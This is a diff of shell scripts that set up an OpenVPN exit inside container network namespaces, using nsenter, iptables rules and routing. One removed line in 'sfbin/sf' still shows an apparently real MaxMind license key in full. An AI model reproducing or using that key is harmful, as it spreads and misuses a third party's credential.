# Old <2.5 config specifying 'cipher XXX'
|
||||
# Odd: To connect a 2.5 client to a 2.4 server I need to set "data-ciphers" and "data-ciphers-fallback"
|
||||
[[ -z "$VPN_CFG_DATA_CIPHERS" ]] && VPN_CFG_DATA_CIPHERS="$VPN_CFG_CIPHER"
|
||||
[[ -n "$VPN_CFG_DATA_CIPHERS" ]] && VPN_CFG+="data-ciphers ${VPN_CFG_DATA_CIPHERS}"$'\n'
|
||||
[[ -n "$VPN_CFG_CIPHER" ]] && VPN_CFG+="data-ciphers-fallback $VPN_CFG_CIPHER"$'\n'
|
||||
|
||||
echo -e "Remote : ${B}${VPN_CFG_REMOTE} ${F}${VPN_CFG_REMOTE_PORT}/${VPN_CFG_PROTO}${N}"
|
||||
|
||||
return 0
|
||||
}
|
||||
|
||||
vpn_stop() {
|
||||
killall "openvpn-${LID:?}" 2>/dev/null
|
||||
rm -rf "/tmp/lg-$LID" 2>/dev/null
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID:?}" -n ip link delete dev "vpnEXIT" 2>/dev/null
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n iptables -F OUTPUT 2>/dev/null
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n iptables -F FORWARD 2>/dev/null
|
||||
}
|
||||
|
||||
cmd_ovpn_show() {
|
||||
load_lg
|
||||
[[ -f "/tmp/lg-${LID:-?}/conf/conn.ovpn" ]] && {
|
||||
echo -e "${C}"
|
||||
cat "/tmp/lg-${LID}/conf/conn.ovpn"
|
||||
echo -en "${N}"
|
||||
}
|
||||
[[ -f "/tmp/lg-${LID}/ovpn.log" ]] && cat "/tmp/lg-${LID}/ovpn.log"
|
||||
exit
|
||||
}
|
||||
|
||||
cmd_ovpn_up() {
|
||||
local str
|
||||
load_lg
|
||||
local link_mtu
|
||||
|
||||
[[ -z "$R_CONFIG" ]] && cmd_ovpn_help
|
||||
WG_DEV="vpnEXIT"
|
||||
# echo "PID=$PID"
|
||||
|
||||
# Stop if it is already running
|
||||
vpn_stop
|
||||
# Set default route so that we can reach the remote (in case another VPN was up):
|
||||
set_normal_route
|
||||
|
||||
unset VPN_CFG
|
||||
VPN_CFG+="client"$'\n'
|
||||
VPN_CFG+="dev $WG_DEV"$'\n'
|
||||
VPN_CFG+="dev-type tun"$'\n'
|
||||
VPN_CFG+="allow-recursive-routing"$'\n'
|
||||
VPN_CFG+="single-session"$'\n'
|
||||
VPN_CFG+="nobind"$'\n'
|
||||
VPN_CFG+="verb 3"$'\n'
|
||||
VPN_CFG+="ping 10"$'\n'
|
||||
VPN_CFG+="ping-exit 60"$'\n'
|
||||
VPN_CFG+="persist-key"$'\n'
|
||||
VPN_CFG+="persist-tun"$'\n'
|
||||
VPN_CFG+="pull-filter ignore route"$'\n'
|
||||
VPN_CFG+="user nobody"$'\n'
|
||||
VPN_CFG+="group nogroup"$'\n'
|
||||
|
||||
vpn_read_config || BAIL "Failed to read config file"
|
||||
|
||||
[[ "$VPN_CFG_PROTO" == "udp" ]] && {
|
||||
# link-mtu applies to final packets (after encryption and encapsulation) while
|
||||
# tun-mtu applies to the unencrypted packets which are about to enter the tun/tap device.
|
||||
# link_mtu is bigger than tun_mtu
|
||||
# SF_GUEST_MTU is the MTU of the container's eth0 (1420).
|
||||
# link_mtu=$((SF_GUEST_MTU - 20 - VPN_CFG_PROTO_SIZE))
|
||||
# The documentation says only valid for UDP but if not set and TCP is
|
||||
# used then OpenVPN fails handshake (in some cases) with bad/unexpected
|
||||
# packet length....
|
||||
# Default is 1500 which indicates it's IP + UDP + PAYLOAD (and not what the OpenVPN docs say).
|
||||
link_mtu=$((SF_GUEST_MTU))
|
||||
VPN_CFG+="link-mtu $link_mtu"$'\n'
|
||||
VPN_CFG+="fast-io"$'\n'
|
||||
# X - IPv4 - TCP
|
||||
# OpenVPN is badly documented. Is this the MSS that is advertised in the TCP header:
|
||||
# VPN_CFG+="mssfix $((SF_GUEST_MTU - 20 - 8 - 20 - 20))"$'\n'
|
||||
# or does OpenVPN subtract its own size from it and then advertises it?
|
||||
# It has to be, right? Because there is no way of us knowing how much header/padding
|
||||
# OpenVPN adds (it's not like WireGuard, where things just make sense)
|
||||
VPN_CFG+="mssfix $((SF_GUEST_MTU - 20 - 20))"$'\n'
|
||||
}
|
||||
[[ -n "$VPN_CFG_CA" ]] && VPN_CFG+="<ca>"$'\n'"$VPN_CFG_CA"$'\n'"</ca>"$'\n'
|
||||
[[ -n "$VPN_CFG_KEY" ]] && VPN_CFG+="<key>"$'\n'"$VPN_CFG_KEY"$'\n'"</key>"$'\n'
|
||||
[[ -n "$VPN_CFG_CERT" ]] && VPN_CFG+="<cert>"$'\n'"$VPN_CFG_CERT"$'\n'"</cert>"$'\n'
|
||||
[[ -n "$VPN_CFG_TLS" ]] && VPN_CFG+="<tls-auth>"$'\n'"$VPN_CFG_TLS"$'\n'"</tls-auth>"$'\n'
|
||||
|
||||
VPN_CFG+="proto ${VPN_CFG_PROTO}"$'\n'
|
||||
VPN_CFG+="remote ${VPN_CFG_REMOTE} ${VPN_CFG_REMOTE_PORT}"$'\n'
|
||||
|
||||
# HTB
|
||||
# OPTS+=(--data-ciphers-fallback AES-128-CBC)
|
||||
# Previous versions:
|
||||
# OPTS+=(--data-ciphers-fallback BF-CBC)
|
||||
# OPTS+=(--cipher AES-256-GCM)
|
||||
|
||||
# OpenVPN's --route remote_host 255.255.255.255 vpn_gateway is not working. Instead
|
||||
# we use the --up script to set the static/32 route to the remote VPN PEER:
|
||||
unset OPTS
|
||||
OPTS+=(--config conn.ovpn)
|
||||
OPTS+=(--script-security 2 --up "/sf/bin/ovpn_up.sh" --setenv PID "$PID" --setenv LID "$LID" --setenv SF_NET_LG_ROUTER_IP "$SF_NET_LG_ROUTER_IP")
|
||||
|
||||
# We could create the TUN beforehand but this is no longer needed:
|
||||
# nsenter.u1000 --setuid 0 --setgid 0 -t "$PID" -n ip tuntap add mode tun "${WG_DEV}"
|
||||
# the MTU size is overwritten by OpenVPN when it set's the device.
|
||||
# nsenter.u1000 --setuid 0 --setgid 0 -t "$PID" -n ip link set mtu 1233 up dev "${WG_DEV}"
|
||||
|
||||
umask 077
|
||||
mkdir -p "/tmp/lg-${LID}/conf"
|
||||
cd "/tmp/lg-${LID}/conf" || BAIL "Cant change directory."
|
||||
|
||||
echo -n "$VPN_CFG" >conn.ovpn
|
||||
|
||||
# Force username and password
|
||||
[[ -z "$VPN_CFG_PASS" ]] && [[ -z "$R_PASS" ]]
|
||||
[[ -n "$R_USER" ]] && VPN_CFG_USER="$R_USER"
|
||||
[[ -n "$R_PASS" ]] && VPN_CFG_PASS="$R_PASS"
|
||||
[[ -n "$VPN_CFG_PASS" ]] && {
|
||||
echo "${VPN_CFG_USER}"$'\n'"${VPN_CFG_PASS}" >userpass.txt
|
||||
OPTS+=(--auth-user-pass userpass.txt)
|
||||
}
|
||||
[[ -n "$R_KEYPASS" ]] && {
|
||||
echo "$R_KEYPASS" >keypass.txt
|
||||
OPTS+=(--askpass keypass.txt)
|
||||
}
|
||||
|
||||
[[ ${#R_ROUTE_ARR[@]} -gt 0 ]] && printf "%s\n" "${R_ROUTE_ARR[@]}" >route
|
||||
|
||||
# echo "${OPTS[@]}"
|
||||
# exit
|
||||
ln -sf /usr/sbin/openvpn "/tmp/lg-${LID}/conf/openvpn-${LID}"
|
||||
|
||||
# (nsenter.u1000 --setuid 0 --setgid 0 -t "$PID" -n -C "./openvpn-${LID}" "${OPTS[@]}" &>/dev/null &)
|
||||
(nsenter.u1000 --setuid 0 --setgid 0 -t "$PID" -n -C "./openvpn-${LID}" "${OPTS[@]}" 2>&1 | dd bs=256 count=200 of="/tmp/lg-${LID}/ovpn.log" 2>/dev/nulll &)
|
||||
|
||||
# Block all network traffic beside the one to the OpenVPN PEER (we dont know the IP yet
|
||||
# so we block the port instead.
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "$PID" -n iptables -I OUTPUT -o eth0 -p "${VPN_CFG_PROTO}" --dport "${VPN_CFG_REMOTE_PORT}" -j ACCEPT
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "$PID" -n iptables -I OUTPUT -o eth0 -d "${SF_RPC_IP:?}" -j ACCEPT
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "$PID" -n iptables -I OUTPUT -o eth0 -d "${SF_DNS:?}" -j ACCEPT
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "$PID" -n iptables -A OUTPUT -o eth0 -j DROP
|
||||
|
||||
set_route_pre_up
|
||||
str="${R_CONFIG##*/}"
|
||||
str="${str%%.*}"
|
||||
[[ -z "$str" ]] && str="${VPN_CFG_REMOTE}"
|
||||
str="${str^^}"
|
||||
echo "(%F{yellow}EXIT:%Bvpn${str:0:16}%b%F{%(#.blue.green)})" >"${LID_PROMPT_FN}"
|
||||
echo -en "\
|
||||
${G}SUCCESS${N}
|
||||
Use ${C}curl sf/ovpn/show${N} for status.
|
||||
Use ${C}curl sf/ovpn/down${N} to disconnect.
|
||||
"
|
||||
exit
|
||||
}
|
||||
|
||||
cmd_ovpn_del() {
|
||||
load_lg
|
||||
|
||||
vpn_stop
|
||||
WG_DEV="vpnEXIT"
|
||||
mk_normal_route
|
||||
exit
|
||||
}
|
26
sfbin/ovpn_up.sh
Executable file
26
sfbin/ovpn_up.sh
Executable file
@ -0,0 +1,26 @@
|
||||
#! /bin/bash
|
||||
# Executed by OpenVPN --up within master/OpenVPN context
|
||||
|
||||
source /sf/bin/funcs_net.sh
|
||||
|
||||
# echo "$*" >/tmp/up_args.txt
|
||||
# set >/tmp/up_set.txt
|
||||
|
||||
[[ -z $WG_DEV ]] && WG_DEV="vpnEXIT"
|
||||
|
||||
# Inside this context the PATH needs to be exported:
|
||||
export PATH
|
||||
|
||||
# Add the OpenVPN PEER as default route
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID:?}" -n ip route add "${trusted_ip:?}" via "${SF_NET_LG_ROUTER_IP:?}" dev eth0
|
||||
# Remove old default route.
|
||||
|
||||
cd "/tmp/lg-${LID:?}/conf"
|
||||
[[ -f "route" ]] && IFS=$'\n' readarray -t R_ROUTE_ARR <"route"
|
||||
|
||||
set_route_post_up
|
||||
# Remove all BLOCKING OUTPUT rules that were needed between OpenVPN starting
|
||||
# and the device becoming available.
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n iptables -F OUTPUT
|
||||
rm -rf "/tmp/lg-${LID}/conf"
|
||||
|
5
sfbin/sf
5
sfbin/sf
@ -160,9 +160,10 @@ export SF_GUEST_MTU=$((SF_HOST_MTU - 80))
|
||||
[[ ! -d "${SF_DATADIR}/user" ]] && mkdir -p "${SF_DATADIR}/user"
|
||||
[[ ! -d "${SF_DATADIR}/share" ]] && mkdir -p "${SF_DATADIR}/share"
|
||||
|
||||
[[ ! -f "${SF_DATADIR}/share/GeoLite2-City.mmdb" ]] && {
|
||||
[[ ! -f "${SF_DATADIR}/share/GeoLite2-City.mmdb" ]] && [[ "${MAXMIND_KEY,,}" != "skip" ]] && {
|
||||
WARN "Not found: data/share/GeoLite2-City.mmdb"
|
||||
echo -e "Try \`curl 'https://download.maxmind.com/app/geoip_download?edition_id=GeoLite2-City&license_key=zNACjsJrHnGPBxgI&suffix=tar.gz' | tar xfvz - --strip-components=1 --no-anchored -C '${SF_DATADIR}/share/' 'GeoLite2-City.mmdb'\`."
|
||||
echo -e "Try \`curl 'https://download.maxmind.com/app/geoip_download?edition_id=GeoLite2-City&license_key=${MAXMIND_KEY:-KEY-NOT-SET}&suffix=tar.gz' | tar xfvz - --strip-components=1 --no-anchored -C '${SF_DATADIR}/share/' 'GeoLite2-City.mmdb'\`."
|
||||
echo -e "Try ${CDC}MAXMIND_KEY=skip${CN} to disable. This will also disable limits by GEOIP and disable user tools like geoip and geoiphn."
|
||||
}
|
||||
|
||||
[[ ! -f "${SF_DATADIR}/share/tor-exit-nodes.txt" ]] && {
|
||||
|
Loading…
Reference in New Issue
Block a user